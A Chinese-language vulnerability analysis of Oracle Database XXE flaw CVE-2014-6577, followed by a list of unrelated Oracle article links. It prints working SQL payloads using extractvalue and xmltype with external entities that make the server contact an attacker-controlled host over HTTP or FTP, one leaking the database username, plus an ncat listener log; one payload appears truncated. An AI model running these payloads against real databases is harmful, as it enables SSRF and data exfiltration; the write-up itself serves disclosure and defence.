Oracle数据库XXE注入漏洞(CVE-2014-6577)分析
在这篇文中,我们将共同分析一下Oracle数据库的XXE注入漏洞(CVE-2014-6577),Oracle公司1月20日发布了针对该漏洞的相关补丁。
有关XXE的相关知识,可以查看安全脉搏站内的另一篇文章《未知攻焉知防——XXE漏洞攻防》。
漏洞描述
Oracle数据库的XML解析器模块容易受到XML外部实体(XML External Entity , XXE)注入。
受影响版本:11.2.0.3, 11.2.0.4, 12.1.0.1 和12.1.0.2
所需权限:创建会话(CREATE SESSION)
技术细节
因为Oracle中XML解析器的安全特性,外模式得到了解决,但是并不解析。
这可以防止某些XXE注入攻击,例如读取远程数据库服务器上的本地文件。
然而,攻击者可以发送精心编制的SQL查询来触发XML解析器,诱骗服务器通过HTTP或者FTP连接一个远程资源。
这可能会因带外通道而导致数据泄露、远程内部系统上执行端口扫描、执行服务器端请求伪造(SSRF)攻击或会引起拒绝服务攻击(DoS)。
易受攻击的URI handler:
- http:
- ftp:
0x01
Oracle的XML解析器可以通过调用针对xml类型对象的extractvalue()函数来触发。下面是一个简单的示例,该示例利用一个简单的XXE注入payload来构造查询语句:
select extractvalue(xmltype('<!ENTITY xxe SYSTEM "etc/passwd">]>'|| '&' ||'xxe;'),'/l') from dual;
执行上面的查询语句将会引起如下错误:
ORA-31001: Invalid resource handle or path name "/etc/passwd" ORA-06512: at "SYS.XMLTYPE", line 310 ORA-06512: at line 1 31001. 00000 - "Invalid resource handle or path name \"%s\"" *Cause: An invalid resource handle or path name was passed to the XDB hierarchical resolver. *Action: Pass a valid resouce handle or path name to the hierarchical resolver.
这是因为文件URI处理程序被转换成了一个XDB库路径。
0x02
然而,换成HTTP URI处理程序来进行查询将会产生另一个问题。示例查询代码如下:
select extractvalue(xmltype('<!ENTITY xxe SYSTEM "http://IP/test">]>'|| '&' ||'xxe;'),'/l') from dual;
数据库服务器错误如下:
ORA-31020: The operation is not allowed, Reason: For security reasons, ftp and http access over XDB repository is not allowed on server side ORA-06512: at "SYS.XMLTYPE", line 310 ORA-06512: at line 1 31020. 00000 - "The operation is not allowed, Reason: %s" *Cause: The operation attempted is not allowed *Action: See reason and change to a valid operation.
这个错误表明,FTP和HTTP URI处理程序可能被XML解析器接受。注意,上面的查询语句不会发送任何HTTP请求到攻击者的系统。
0x03
我们看下另一个XXE注入payload,这次引用的是一个参数实体,而不是文档实体:
select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://IP/test"> %remote; %param1;]>'),'/l') from dual;
执行该查询语句时,数据库服务器会产生上述同样的错误(ORA-31020)。不过,这次成功地诱骗服务器提交了一个对资源“test”的HTTP请求。下面是攻击者服务器上的HTTP日志:
ncat -lvp 80 Ncat: Version 6.25 ( http://nmap.org/ncat ) Ncat: Listening on :::80 Ncat: Listening on 0.0.0.0:80 Ncat: Connection from DB_IP. Ncat: Connection from DB_IP:27320. GET /test HTTP/1.0 Host: DB_IP Content-Type: text/plain; charset=utf-8
传统上来说,为了迫使服务器向外部资源发送HTTP请求,攻击者需要一定权限来访问UTL_HTTP包。因为extractvalue()对所有数据库用户都可用,故XXE注入带来了另一种方式来触发带外HTTP请求,而这种方法的实现不需要拥有上述所提权限。
0x04
FTP URI处理程序(FTP:)也可以用来触发Oracle的XML解析器。下面给出查询语句示例,该示例发送数据库用户名来作为FTP用户名:
select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "ftp://'||user||':bar@IP/test"> %remote; %param1;]>'),'/l') from dual;
数据库服务器提示错误(注意错误码与上面的不同,因为提供的凭证不能用于登录远程FTP服务器)如下:
ORA-31011: XML parsing failed ORA-19202: Error occurred in XML processing LPX-00202: could not open "ftp://SYSTEM:bar@IP/test" (error 402) Error at line 1 ORA-06512: at "SYS.XMLTYPE", line 310 ORA-06512: at line 1 31011. 00000 - "XML parsing failed" *Cause: XML parser returned an error while trying to parse the document. *Action: Check if the document to be parsed is valid.
从下图中可看到,数据库用户名作为FTP用户名被包含在发送给攻击者服务器的FTP流量中:
相关文章
- oracle触发器示例,Oracle触发器简单示例
- Oracle实例启动之利器:SQLPlus命令行操作(oracle启动实例命令)
- Oracle数据库中添加约束的方法(oracle添加约束)
- 尚观培训:发挥Oracle数据库的最大价值(尚观培训oracle)
- 解决Oracle中取重复数据的方法(oracle取重复数据)
- Oracle 处理字符与数字的奥秘(oracle字符数字)
- 掌握Oracle触发器的必要类型(oracle触发器类型)
- 深入剖析Oracle数据库的触发器类型(oracle触发器类型)
- 深入探索Oracle数据库中的触发器类型(oracle触发器类型)
- 利用Oracle触发器类型提升数据库性能(oracle触发器类型)
- 实现高效数据库管理的关键:Oracle在目标主机的应用(oracle目标主机)
- Oracle学习: 如何创建表类型(oracle创建表类型)
- 使用Oracle EXPBD实现数据库迁移(oracle expdb)
- 深入浅出Oracle数据库关联原理(oracle关联原理)
- Oracle数据库提升性能的共享连接池实践(oracle共享连接池)
- 解读Oracle八股文之鉴赏(oracle八股文)
- Oracle数据库的全表复制实现技术(oracle 全表复制)
- Oracle数据库中的几个重要池(oracle 几个池)
- 使用Ajax与Oracle实现极致可靠性开发(ajax oracle)
- 使用Oracle实现人民币转大写功能(oracle人民币转大写)
- Oracle用户权限授予体系构建(oracle人员授权)
- Oracle产品精彩一览一次掌握所有知识(oracle产品目录)
- Oracle主键自带索引利好数据表查询(oracle主键自带索引)
- 深入理解Oracle会话级变量(oracle 会话级变量)
- Oracle数据库中如何管理字段名(oracle中字段名)
- 探索Oracle数据库中的函数功能(oracle 中包含函数)
- Oracle无需输入sid自动连接数据库(oracle不输入sid)